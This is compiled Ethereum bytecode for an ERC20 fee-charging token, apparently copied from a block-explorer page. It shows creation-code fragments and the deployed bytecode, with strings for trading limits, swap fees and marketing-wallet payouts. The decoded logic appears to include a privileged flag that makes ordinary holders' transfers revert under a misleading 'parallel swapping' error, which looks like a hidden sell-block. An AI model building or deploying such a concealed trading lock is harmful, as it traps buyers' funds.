ffffffffffffffffff1603612936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161292d90614ef0565b60405180910390fd5b6000810361294f5761294a8383600061366b565b6134ff565b600860009054906101000a900460ff1615612e4a5761296c6119c7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156129da57506129aa6119c7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612a135750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612a4d575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612a665750600860039054906101000a900460ff16155b15612e4957600860019054906101000a900460ff16612b6057601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b205750601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b5690614f5c565b60405180910390fd5b5b601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c035750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612caa57601754811115612c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4490614fee565b60405180910390fd5b601954612c59836115e1565b82612c6491906148af565b1115612ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c9c9061505a565b60405180910390fd5b612e48565b601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612d4d5750601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612d9c57601754811115612d97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8e906150ec565b60405180910390fd5b612e47565b601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612e4657601954612df9836115e1565b82612e0491906148af565b1115612e45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e3c9061505a565b60405180910390fd5b5b5b5b5b5b6000612e55306115e1565b9050600060185482101590507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603612f45576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403612f405743600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b612f9c565b600860039054906101000a900460ff16612f9b5784600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b808015612fb55750600860029054906101000a900460ff165b8015612fce5750600860039054906101000a900460ff16155b80156130245750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561307a5750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156130d05750601a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613114576001600860036101000a81548160ff0219169083151502179055506130f86138ea565b6000600860036101000a81548160ff0219169083151502179055505b6000600860039054906101000a900460ff16159050601a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806131ca5750601a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156131d457600090505b601d60009054906101000a900460ff161561327657601a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161326c9061517e565b60405180910390fd5b5b600081156134ef57601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156132d957506000600d54115b156133a65761330660646132f8600d5488613be590919063ffffffff16565b613bfb90919063ffffffff16565b9050600d54600f548261331991906146e9565b613323919061475a565b6012600082825461333491906148af565b92505081905550600d546010548261334c91906146e9565b613356919061475a565b6013600082825461336791906148af565b92505081905550600d54600e548261337f91906146e9565b613389919061475a565b6011600082825461339a91906148af565b925050819055506134cb565b601c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561340157506000600954115b156134ca5761342e606461342060095488613be590919063ffffffff16565b613bfb90919063ffffffff16565b9050600954600b548261344191906146e9565b61344b919061475a565b6012600082825461345c91906148af565b92505081905550600954600c548261347491906146e9565b61347e919061475a565b6013600082825461348f91906148af565b92505081905550600954600a54826134a791906146e9565b6134b1919061475a565b601160008282546134c291906148af565b925050819055505b5b60008111156134e0576134df87308361366b565b5b80856134ec919061519e565b94505b6134fa87878761366b565b505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036136da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136d190614e5e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613749576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161374090614ef0565b60405180910390fd5b613754838383613c11565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156137da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137d190615244565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461386d91906148af565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516138d191906141e1565b60405180910390a36138e4848484613c16565b50505050565b60006138f5306115e1565b9050600060135460115460125461390c91906148af565b61391691906148af565b90506000808314806139285750600082145b1561393557505050613be3565b600260185461394491906146e9565b83111561395d57600260185461395a91906146e9565b92505b60006002836012548661397091906146e9565b61397a919061475a565b613984919061475a565b9050600061399b8286613c1b90919063ffffffff16565b905060004790506139ab82613c31565b60006139c08247613c1b90919063ffffffff16565b905060006139eb876139dd60115485613be590919063ffffffff16565b613bfb90919063ffffffff16565b90506000613a1688613a0860135486613be590919063ffffffff16565b613bfb90919063ffffffff16565b90506000818385613a27919061519e565b613a31919061519e565b9050600060128190555060006011819055506000601381905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051613a9190615295565b60006040518083038185875af1925050503d8060008114613ace576040519150601f19603f3d011682016040523d82523d6000602084013e613ad3565b606091505b50508098505087613ae357600080fd5b600087118015613af35750600081115b15613b4057613b028782613e6e565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618682601254604051613b37939291906152aa565b60405180910390a15b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051613b8690615295565b60006040518083038185875af1925050503d8060008114613bc3576040519150601f19603f3d011682016040523d82523d6000602084013e613bc8565b606091505b50508098505087613bd857600080fd5b505050505050505050505b565b60008183613bf391906146e9565b905092915050565b60008183613c09919061475a565b905092915050565b505050565b505050565b60008183613c29919061519e565b905092915050565b6000600267ffffffffffffffff811115613c4e57613c4d6144d5565b5b604051908082528060200260200182016040528015613c7c5781602001602082028036833780820191505090505b5090503081600081518110613c9457613c93614546565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613d39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d5d9190614519565b81600181518110613d7157613d70614546565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613dd6307f000000000000000000000000000000000000000000000000000000000000000084612608565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613e389594939291906152e1565b600060405180830381600087803b158015613e5257600080fd5b505af1158015613e66573d6000803e3d6000fd5b505050505050565b613e99307f000000000000000000000000000000000000000000000000000000000000000084612608565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401613f209695949392919061533b565b60606040518083038185885af1158015613f3e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613f6391906153b1565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613fa4578082015181840152602081019050613f89565b60008484015250505050565b6000601f19601f8301169050919050565b6000613fcc82613f6a565b613fd68185613f75565b9350613fe6818560208601613f86565b613fef81613fb0565b840191505092915050565b600060208201905081810360008301526140148184613fc1565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061404c82614021565b9050919050565b61405c81614041565b811461406757600080fd5b50565b60008135905061407981614053565b92915050565b6000819050919050565b6140928161407f565b811461409d57600080fd5b50565b6000813590506140af81614089565b92915050565b600080604083850312156140cc576140cb61401c565b5b60006140da8582860161406a565b92505060206140eb858286016140a0565b9150509250929050565b60008115159050919050565b61410a816140f5565b82525050565b60006020820190506141256000830184614101565b92915050565b6000602082840312156141415761414061401c565b5b600061414f8482850161406a565b91505092915050565b6000819050919050565b600061417d61417861417384614021565b614158565b614021565b9050919050565b600061418f82614162565b9050919050565b60006141a182614184565b9050919050565b6141b181614196565b82525050565b60006020820190506141cc60008301846141a8565b92915050565b6141db8161407f565b82525050565b60006020820190506141f660008301846141d2565b92915050565b6000806000606084860312156142155761421461401c565b5b60006142238682870161406a565b93505060206142348682870161406a565b9250506040614245868287016140a0565b9150509250925092565b6000602082840312156142655761426461401c565b5b6000614273848285016140a0565b91505092915050565b61428581614041565b82525050565b60006020820190506142a0600083018461427c565b92915050565b600060ff82169050919050565b6142bc816142a6565b82525050565b60006020820190506142d760008301846142b3565b92915050565b6142e6816140f5565b81146142f157600080fd5b50565b600081359050614303816142dd565b92915050565b600080604083850312156143205761431f61401c565b5b600061432e8582860161406a565b925050602061433f858286016142f4565b9150509250929050565b6000806000606084860312156143625761436161401c565b5b6000614370868287016140a0565b9350506020614381868287016140a0565b9250506040614392868287016140a0565b9150509250925092565b6000602082840312156143b2576143b161401c565b5b60006143c0848285016142f4565b91505092915050565b600080604083850312156143e0576143df61401c565b5b60006143ee8582860161406a565b92505060206143ff8582860161406a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061445057607f821691505b60208210810361446357614462614409565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061449f602083613f75565b91506144aa82614469565b602082019050919050565b600060208201905081810360008301526144ce81614492565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061451381614053565b92915050565b60006020828403121561452f5761452e61401c565b5b600061453d84828501614504565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061459a61459561459084614575565b614158565b61407f565b9050919050565b6145aa8161457f565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6145e581614041565b82525050565b60006145f783836145dc565b60208301905092915050565b6000602082019050919050565b600061461b826145b0565b61462581856145bb565b9350614630836145cc565b8060005b8381101561466157815161464888826145eb565b975061465383614603565b925050600181019050614634565b5085935050505092915050565b600060808201905061468360008301876145a1565b81810360208301526146958186614610565b90506146a4604083018561427c565b6146b160608301846141d2565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006146f48261407f565b91506146ff8361407f565b925082820261470d8161407f565b91508282048414831517614724576147236146ba565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006147658261407f565b91506147708361407f565b9250826147805761477f61472b565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b60006147e7602f83613f75565b91506147f28261478b565b604082019050919050565b60006020820190508181036000830152614816816147da565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000614879602883613f75565b91506148848261481d565b604082019050919050565b600060208201905081810360008301526148a88161486c565b9050919050565b60006148ba8261407f565b91506148c58361407f565b92508282019050808211156148dd576148dc6146ba565b5b92915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b600061493f603983613f75565b915061494a826148e3565b604082019050919050565b6000602082019050818103600083015261496e81614932565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006149d1602583613f75565b91506149dc82614975565b604082019050919050565b60006020820190508181036000830152614a00816149c4565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614a63602483613f75565b9150614a6e82614a07565b604082019050919050565b60006020820190508181036000830152614a9281614a56565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614af5603583613f75565b9150614b0082614a99565b604082019050919050565b60006020820190508181036000830152614b2481614ae8565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b6000614b87603483613f75565b9150614b9282614b2b565b604082019050919050565b60006020820190508181036000830152614bb681614b7a565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614c19602683613f75565b9150614c2482614bbd565b604082019050919050565b60006020820190508181036000830152614c4881614c0c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614cab602483613f75565b9150614cb682614c4f565b604082019050919050565b60006020820190508181036000830152614cda81614c9e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614d3d602283613f75565b9150614d4882614ce1565b604082019050919050565b60006020820190508181036000830152614d6c81614d30565b9050919050565b6000606082019050614d88600083018661427c565b614d95602083018561427c565b614da260408301846141d2565b949350505050565b600081519050614db9816142dd565b92915050565b600060208284031215614dd557614dd461401c565b5b6000614de384828501614daa565b91505092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614e48602583613f75565b9150614e5382614dec565b604082019050919050565b60006020820190508181036000830152614e7781614e3b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614eda602383613f75565b9150614ee582614e7e565b604082019050919050565b60006020820190508181036000830152614f0981614ecd565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000614f46601683613f75565b9150614f5182614f10565b602082019050919050565b60006020820190508181036000830152614f7581614f39565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000614fd8603583613f75565b9150614fe382614f7c565b604082019050919050565b6000602082019050818103600083015261500781614fcb565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000615044601383613f75565b915061504f8261500e565b602082019050919050565b6000602082019050818103600083015261507381615037565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006150d6603683613f75565b91506150e18261507a565b604082019050919050565b60006020820190508181036000830152615105816150c9565b9050919050565b7f6578697374696e672070617272616c6c656c207377617070696e672c2063616e60008201527f277420616c6c6f7720646f75626c650000000000000000000000000000000000602082015250565b6000615168602f83613f75565b91506151738261510c565b604082019050919050565b600060208201905081810360008301526151978161515b565b9050919050565b60006151a98261407f565b91506151b48361407f565b92508282039050818111156151cc576151cb6146ba565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061522e602683613f75565b9150615239826151d2565b604082019050919050565b6000602082019050818103600083015261525d81615221565b9050919050565b600081905092915050565b50565b600061527f600083615264565b915061528a8261526f565b600082019050919050565b60006152a082615272565b9150819050919050565b60006060820190506152bf60008301866141d2565b6152cc60208301856141d2565b6152d960408301846141d2565b949350505050565b600060a0820190506152f660008301886141d2565b61530360208301876145a1565b81810360408301526153158186614610565b9050615324606083018561427c565b61533160808301846141d2565b9695505050505050565b600060c082019050615350600083018961427c565b61535d60208301886141d2565b61536a60408301876145a1565b61537760608301866145a1565b615384608083018561427c565b61539160a08301846141d2565b979650505050505050565b6000815190506153ab81614089565b92915050565b6000806000606084860312156153ca576153c961401c565b5b60006153d88682870161539c565b93505060206153e98682870161539c565b92505060406153fa8682870161539c565b915050925092509256fea264697066735822122057b7c9583d8e3a37565a2f6457b6560d612dc7f1614321edf2a3c7e0bcdf8a5064736f6c63430008130033

Deployed Bytecode

0x6080604052600436106103545760003560e01c80638da5cb5b116101c6578063c0246668116100f7578063dd62ed3e11610095578063f2fde38b1161006f578063f2fde38b14610cb1578063f637434214610cda578063f8b45b0514610d05578063fbc10c5514610d305761035b565b8063dd62ed3e14610c1e578063e2f4560514610c5b578063f11a24d314610c865761035b565b8063c8c8ebe4116100d1578063c8c8ebe414610b4e578063cd5f101d14610b79578063d257b34f14610bb6578063d85ba06314610bf35761035b565b8063c024666814610ad3578063c17b5b8c14610afc578063c18bc19514610b255761035b565b8063a07873f211610164578063a9059cbb1161013e578063a9059cbb14610a05578063aacebbe314610a42578063b62496f514610a6b578063bbc0c74214610aa85761035b565b8063a07873f214610972578063a0d82dc51461099d578063a457c2d7146109c85761035b565b806395d89b41116101a057806395d89b41146108c85780639a7a23d6146108f35780639c3b4fdc1461091c5780639fccce32146109475761035b565b80638da5cb5b146108495780639213691314610874578063924de9b71461089f5761035b565b8063313ce567116102a057806370a082311161023e5780637571336a116102185780637571336a146107b55780637bce5a04146107de5780638095d564146108095780638a8c523c146108325761035b565b806370a0823114610736578063715018a614610773578063751039fc1461078a5761035b565b80634a62bb651161027a5780634a62bb65146106785780634fbee193146106a35780636a486a8e146106e05780636ddd17131461070b5761035b565b8063313ce567146105e5578063395093511461061057806349bd5a5e1461064d5761035b565b806319beb1701161030d578063203e727e116102e7578063203e727e1461051757806323b872dd1461054057806327c8f8351461057d5780632eae5715146105a85761035b565b806319beb170146104845780631a8145bb146104c15780631f3fed8f146104ec5761035b565b806306fdde0314610360578063095ea7b31461038b57806310d5de53146103c85780631694505e1461040557806318160ddd146104305780631816467f1461045b5761035b565b3661035b57005b600080fd5b34801561036c57600080fd5b50610375610d59565b6040516103829190613ffa565b60405180910390f35b34801561039757600080fd5b506103b260048036038101906103ad91906140b5565b610deb565b6040516103bf9190614110565b60405180910390f35b3480156103d457600080fd5b506103ef60048036038101906103ea919061412b565b610e09565b6040516103fc9190614110565b60405180910390f35b34801561041157600080fd5b5061041a610e29565b60405161042791906141b7565b60405180910390f35b34801561043c57600080fd5b50610445610e4d565b60405161045291906141e1565b60405180910390f35b34801561046757600080fd5b50610482600480360381019061047d919061412b565b610e57565b005b34801561049057600080fd5b506104ab60048036038101906104a691906141fc565b610f93565b6040516104b89190614110565b60405180910390f35b3480156104cd57600080fd5b506104d6611242565b6040516104e391906141e1565b60405180910390f35b3480156104f857600080fd5b50610501611248565b60405161050e91906141e1565b60405180910390f35b34801561052357600080fd5b5061053e6004803603810190610539919061424f565b61124e565b005b34801561054c57600080fd5b50610567600480360381019061056291906141fc565b61135d565b6040516105749190614110565b60405180910390f35b34801561058957600080fd5b50610592611455565b60405161059f919061428b565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca91906140b5565b61145b565b6040516105dc9190614110565b60405180910390f35b3480156105f157600080fd5b506105fa611486565b60405161060791906142c2565b60405180910390f35b34801561061c57600080fd5b50610637600480360381019061063291906140b5565b61148f565b6040516106449190614110565b60405180910390f35b34801561065957600080fd5b5061066261153b565b60405161066f919061428b565b60405180910390f35b34801561068457600080fd5b5061068d61155f565b60405161069a9190614110565b60405180910390f35b3480156106af57600080fd5b506106ca60048036038101906106c5919061412b565b611572565b6040516106d79190614110565b60405180910390f35b3480156106ec57600080fd5b506106f56115c8565b60405161070291906141e1565b60405180910390f35b34801561071757600080fd5b506107206115ce565b60405161072d9190614110565b60405180910390f35b34801561074257600080fd5b5061075d6004803603810190610758919061412b565b6115e1565b60405161076a91906141e1565b60405180910390f35b34801561077f57600080fd5b50610788611629565b005b34801561079657600080fd5b5061079f6116b1565b6040516107ac9190614110565b60405180910390f35b3480156107c157600080fd5b506107dc60048036038101906107d79190614309565b61177d565b005b3480156107ea57600080fd5b506107f3611854565b60405161080091906141e1565b60405180910390f35b34801561081557600080fd5b50610830600480360381019061082b9190614349565b61185a565b005b34801561083e57600080fd5b50610847611913565b005b34801561085557600080fd5b5061085e6119c7565b60405161086b919061428b565b60405180910390f35b34801561088057600080fd5b506108896119f1565b60405161089691906141e1565b60405180910390f35b3480156108ab57600080fd5b506108c660048036038101906108c1919061439c565b6119f7565b005b3480156108d457600080fd5b506108dd611a90565b6040516108ea9190613ffa565b60405180910390f35b3480156108ff57600080fd5b5061091a60048036038101906109159190614309565b611b22565b005b34801561092857600080fd5b50610931611c3a565b60405161093e91906141e1565b60405180910390f35b34801561095357600080fd5b5061095c611c40565b60405161096991906141e1565b60405180910390f35b34801561097e57600080fd5b50610987611c46565b604051610994919061428b565b60405180910390f35b3480156109a957600080fd5b506109b2611c6c565b6040516109bf91906141e1565b60405180910390f35b3480156109d457600080fd5b506109ef60048036038101906109ea91906140b5565b611c72565b6040516109fc9190614110565b60405180910390f35b348015610a1157600080fd5b50610a2c6004803603810190610a2791906140b5565b611d5d565b604051610a399190614110565b60405180910390f35b348015610a4e57600080fd5b50610a696004803603810190610a64919061412b565b611d7b565b005b348015610a7757600080fd5b50610a926004803603810190610a8d919061412b565b611e95565b604051610a9f9190614110565b60405180910390f35b348015610ab457600080fd5b50610abd611eb5565b604051610aca9190614110565b60405180910390f35b348015610adf57600080fd5b50610afa6004803603810190610af59190614309565b611ec8565b005b348015610b0857600080fd5b50610b236004803603810190610b1e9190614349565b611fed565b005b348015610b3157600080fd5b50610b4c6004803603810190610b47919061424f565b6120a6565b005b348015610b5a57600080fd5b50610b636121b5565b604051610b7091906141e1565b60405180910390f35b348015610b8557600080fd5b50610ba06004803603810190610b9b919061412b565b6121bb565b604051610bad91906141e1565b60405180910390f35b348015610bc257600080fd5b50610bdd6004803603810190610bd8919061424f565b6121d3565b604051610bea9190614110565b60405180910390f35b348015610bff57600080fd5b50610c08612328565b604051610c1591906141e1565b60405180910390f35b348015610c2a57600080fd5b50610c456004803603810190610c4091906143c9565b61232e565b604051610c5291906141e1565b60405180910390f35b348015610c6757600080fd5b50610c706123b5565b604051610c7d91906141e1565b60405180910390f35b348015610c9257600080fd5b50610c9b6123bb565b604051610ca891906141e1565b60405180910390f35b348015610cbd57600080fd5b50610cd86004803603810190610cd3919061412b565b6123c1565b005b348015610ce657600080fd5b50610cef6124b8565b604051610cfc91906141e1565b60405180910390f35b348015610d1157600080fd5b50610d1a6124be565b604051610d2791906141e1565b60405180910390f35b348015610d3c57600080fd5b50610d576004803603810190610d52919061412b565b6124c4565b005b606060038054610d6890614438565b80601f0160208091040260200160405190810160405280929190818152602001828054610d9490614438565b8015610de15780601f10610db657610100808354040283529160200191610de1565b820191906000526020600020905b815481529060010190602001808311610dc457829003601f168201915b5050505050905090565b6000610dff610df8612600565b8484612608565b6001905092915050565b601b6020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b610e5f612600565b73ffffffffffffffffffffffffffffffffffffffff16610e7d6119c7565b73ffffffffffffffffffffffffffffffffffffffff1614610ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eca906144b5565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561102657610ff3838585856127d1565b601d60009054906101000a900460ff1615601d60006101000a81548160ff0219169083151502179055506001905061123b565b6000600267ffffffffffffffff811115611043576110426144d5565b5b6040519080825280602002602001820160405280156110715781602001602082028036833780820191505090505b5090507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111039190614519565b8160008151811061111757611116614546565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061116657611165614546565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008461dead426040518663ffffffff1660e01b8152600401611203949392919061466e565b6000604051808303818588803b15801561121c57600080fd5b505af1158015611230573d6000803e3d6000fd5b505050505050600190505b9392505050565b60125481565b60115481565b611256612600565b73ffffffffffffffffffffffffffffffffffffffff166112746119c7565b73ffffffffffffffffffffffffffffffffffffffff16146112ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c1906144b5565b60405180910390fd5b670de0b6b3a76400006103e860016112e0610e4d565b6112ea91906146e9565b6112f4919061475a565b6112fe919061475a565b811015611340576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611337906147fd565b60405180910390fd5b670de0b6b3a76400008161135491906146e9565b60178190555050565b600061136a848484612858565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113b5612600565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611435576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142c9061488f565b60405180910390fd5b61144985611441612600565b858403612608565b60019150509392505050565b61dead81565b600061147c83308461146d873061232e565b61147791906148af565b612608565b6001905092915050565b60006012905090565b600061153161149c612600565b8484600160006114aa612600565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152c91906148af565b612608565b6001905092915050565b7f00000000000000000000000038d32225e48f23c2335461e4d10b59241db6f4eb81565b600860009054906101000a900460ff1681565b6000601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d5481565b600860029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611631612600565b73ffffffffffffffffffffffffffffffffffffffff1661164f6119c7565b73ffffffffffffffffff